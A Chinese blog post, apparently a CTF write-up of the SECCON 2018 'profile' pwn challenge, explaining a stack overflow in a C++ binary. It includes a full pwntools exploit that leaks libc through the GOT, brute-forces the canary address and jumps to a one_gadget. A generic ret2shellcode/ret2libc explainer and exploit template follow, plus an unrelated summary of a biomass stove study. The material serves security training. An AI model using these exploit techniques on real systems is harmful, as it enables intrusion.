pwn-seccon18-profile

本文介绍了一个C++程序中的栈溢出漏洞,利用update函数修改过长的message导致数组越界,覆盖name_ptr及返回地址。通过覆盖name_ptr指向got表地址,结合noPIE特性,实现libc基址泄露,再暴力搜索canary地址,最终利用one_gadget获得程序控制权。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

栈溢出&暴力泄露栈地址

这个方法我做了一天,真是差劲

程序分析:

这题是用c++编写的程序,用ida打开很奇怪,一大串c++的特征,有点难看。但是功能很简单:

  1. 登陆:输入姓名,年龄和简介信息
  2. update:修改简介信息
  3. show:显示姓名  年龄 和 简介信息
  4. exit:退出程序

程序开启了canary,no PIE

程序对个人信息用一个结构体来维护,这个结构体保存在栈上:结构体和部分栈结构如下

info{
    char* message_ptr;
    int64 m1; //0xf
    char message[0x10]
    char* name_ptr;
    int64 m2; //0x8
    char name[0x8];
    int64 m3;
    int64 age;
}
canary
int64
int64
rbp
return_addr(__libc_start_main+240)

动态调试栈如下所示:

利用:

         在调试中发现,如果登陆时设定的name字符串的长度超过0x8,那么程序会分配一个堆块,并且将字符串存入堆块中,反之则将name字符串存放在栈上的结构体中,相应的,name_ptr可能会指向堆块或者栈。如果登陆时设定的message字符串的长度超过0x10,那么同样分配一个堆块来存放,并且name_ptr将指向堆块,反之指向栈上的结构体内部。

本方法在登陆时保证message_ptr和name_ptr均指向结构体内部,即栈地址。所以在登陆时输入的len(name)<=0x8 len(message)<=0xf

 

漏洞:

        update函数会修改message_ptr指向的message[0x10]的内容,并且没有任何size检查,可以导致数组越界,从而覆盖name_ptr,覆盖main函数的返回地址,导致栈溢出攻击。

过程:

  1. 利用update函数覆盖name_ptr指针为got表上的任意函数地址,因为no PIE,所以got表地址固定
  2. 然后用show函数打印出name_ptr指向地址的值,即got表上的值,获得libc基址
  3. 考虑泄露cannay的值,那么需要获得canary在栈上的地址。由于只能通过覆盖name_ptr来获得对应地址的内容,所以思考有什么地址记录栈的地址呢?
  4. 尝试从程序空间寻找记录栈地址的变量和从libc空间寻找记录栈地址的变量
pwndbg> searchmem 栈地址的高4个字节 map名

程序空间没有变量记录了栈地址信息,而libc中有一个叫"program_invocation_short_name"的变量记录了程序名在栈上的位置

  • 5.由于我们获得了libc基址,所以可以定位到这个变量在libc中的地址,利用步骤1,2获得上述变量记录的栈地址,但是发现这个栈地址与cannary的栈地址偏移不是固定的,经过观察其规律,发现它们的偏移在0x2500之内变化,所以考虑暴力寻找。

       首先将获取的栈地址a对齐:a = a&0xfffffffffffffff0(这里也可以是0xfffffffffffff000,因为发现canary距离a很远)

  • 6.循环利用1,2步骤,将name_ptr改写为上述的栈地址a,每次循环将a自减0x8,直到泄露出来的地址与(__libc_start_main+240)相等,那么就能够得到精确的栈地址。
  • 7.利用上步计算得到了cannary的栈地址,再次利用update函数溢出覆盖canary和返回地址为one_gadget

结果:

  • exp:
from pwn import *

p = process('./profile')
# p = remote('127.0.0.1',2080)
# p=remote("profile.pwn.seccon.jp",28553)
elf=ELF('./profile')
# context.log_level='debug'
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc=ELF("./libc-2.23.so")

def login():
    p.recvuntil("Name >> ")
    p.sendline("x"*0x8)
    p.recvuntil("Age >> ")
    p.sendline("23")
    p.recvuntil("Message >> ")
    p.sendline("z"*0xe+'#')

def update(message):
    p.recvuntil(">> ")
    p.sendline("1")
    p.recvuntil("Input new message >> ")
    p.sendline(message)

def show(get_size):
    p.recvuntil(">> ")
    p.sendline("2")
    p.recvuntil("Name : ")
    res=u64(p.recv(get_size).ljust(8,'\0'))
    return res    


login()
update("a"*0x10+p64(elf.got['__libc_start_main']))

start_main=show(6)
libc.address=start_main-libc.symbols['__libc_start_main']

print("libc_base:"+hex(libc.address))

update("a"*0x10+p64(libc.address+0x3c53d0))


start=libc.symbols['__libc_start_main']+240
print("start+240: "+hex(start))

tmp = show(6)
stack_addr=tmp&0xfffffffffffff000

print("stack_addr:"+hex(stack_addr))
flag=0
for i in range(2000):
    update("a"*0x10+p64(stack_addr-i*8))
    
    tmp=show(6)
    
    print("i: "+str(i))
    print("current_stack: "+hex(stack_addr-i*8))
    print("tmp: "+hex(tmp))
    print("start: "+hex(start))
    if(tmp==start):
        flag=i
        # attach(p)
        break
canary_addr=stack_addr-flag*8-0x20+1
update("a"*0x10+p64(canary_addr))


canary=show(7)*0x100

print("canary: "+hex(canary))
one_shot=0x45216
payload="a"*0x10+p64(canary_addr-1-0x18)+p64(0x8)+'x'*0x8+p64(0)+p64(0x17)
payload+=p64(canary)+p64(0xdeadbeaf)+p64(0)+p64(0x4016b0)
pop_rax_pp_ret=0x1435B1
payload+=p64(libc.address+pop_rax_pp_ret)+p64(0)+p64(0)+p64(0)+p64(libc.address+one_shot)
update(payload)
attach(p)
p.recvuntil(">> ")
p.sendline("0")

p.interactive()

另一种泄露栈地址的方法:

因为name_ptr本来就指向栈上地址,所以只需要修改name_ptr的低一个字节,那么它还是指向栈地址,通过比较返回的信息,来判断准确的cannary栈地址,暴力循环次数远远小于我上面用到的方法!!!我的方法少则循环几十次,多则上千次。而这种仅仅需要几十次。还是太固执了。

内容概要:该研究通过在黑龙江省某示范村进行24小时实地测试,比较了燃煤炉具与自动/手动进料生物质炉具的污染物排放特征。结果显示,生物质炉具相比燃煤炉具显著降低了PM2.5、CO和SO2的排放(自动进料分别降低41.2%、54.3%、40.0%;手动进料降低35.3%、22.1%、20.0%),但NOx排放未降低甚至有所增加。研究还发现,经济性和便利性是影响生物质炉具推广的重要因素。该研究不仅提供了实际排放数据支持,还通过Python代码详细复现了排放特征比较、减排效果计算和结果可视化,进一步探讨了燃料性质、动态排放特征、碳平衡计算以及政策建议。 适合人群:从事环境科学研究的学者、政府环保部门工作人员、能源政策制定者、关注农村能源转型的社会人士。 使用场景及目标:①评估生物质炉具在农村地区的推广潜力;②为政策制定者提供科学依据,优化补贴政策;③帮助研究人员深入了解生物质炉具的排放特征和技术改进方向;④为企业研发更高效的生物质炉具提供参考。 其他说明:该研究通过大量数据分析和模拟,揭示了生物质炉具在实际应用中的优点和挑战,特别是NOx排放增加的问题。研究还提出了多项具体的技术改进方向和政策建议,如优化进料方式、提高热效率、建设本地颗粒厂等,为生物质炉具的广泛推广提供了可行路径。此外,研究还开发了一个智能政策建议生成系统,可以根据不同地区的特征定制化生成政策建议,为农村能源转型提供了有力支持。
### 关于攻防世界PWN-100题目的解答 #### 解决方案概述 对于攻防世界的PWN-100题目,通常涉及的是基础的缓冲区溢出攻击。这类题目旨在测试参赛者对Linux防护机制的理解程度以及绕过这些保护措施的能力。常见的技术包括但不限于返回导向编程(Return-Oriented Programming, ROP)、重定向到已知位置的shellcode执行(ret2shellcode)或是利用动态链接库中的函数实现系统命令调用(ret2libc)[^1]。 #### 技术细节 当面对没有启用地址空间布局随机化(ASLR)且未开启不可执行堆栈(NX bit off)的情况时,可以直接采用`ret2shellcode`的方式解决问题。此方法要求选手能够找到足够的空间放置自定义的shellcode,并通过控制EIP指向这段代码来完成最终的目标——通常是打开一个远程shell连接给攻击者[^3]。 如果遇到开启了NX位但是禁用了位置独立可执行文件(PIE),那么可以考虑使用`ret2libc`策略。这种方法依赖于将返回地址设置为标准C库(glibc)内的某个有用功能的位置,比如system()函数,从而间接地触发所需的恶意操作而无需注入新的机器码片段。 针对具体环境下的不同情况,还需要掌握诸如IDA Pro这样的反汇编工具来进行二进制分析工作;同时熟悉GDB调试技巧以便更好地理解程序内部逻辑并定位潜在的安全漏洞所在之处。 ```python from pwn import * # 连接到远程服务 conn = remote('challenge.ctf.games', PORT) # 发送payload前先接收初始消息 print(conn.recvline()) # 构造payload offset = 64 # 假设偏移量为64字节 junk = b'A' * offset return_address = pack('<I', 0xdeadbeef) # 替换为目标地址 exploit_payload = junk + return_address # 发送payload conn.send(exploit_payload) # 接收响应数据 result = conn.recvall() print(result.decode()) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值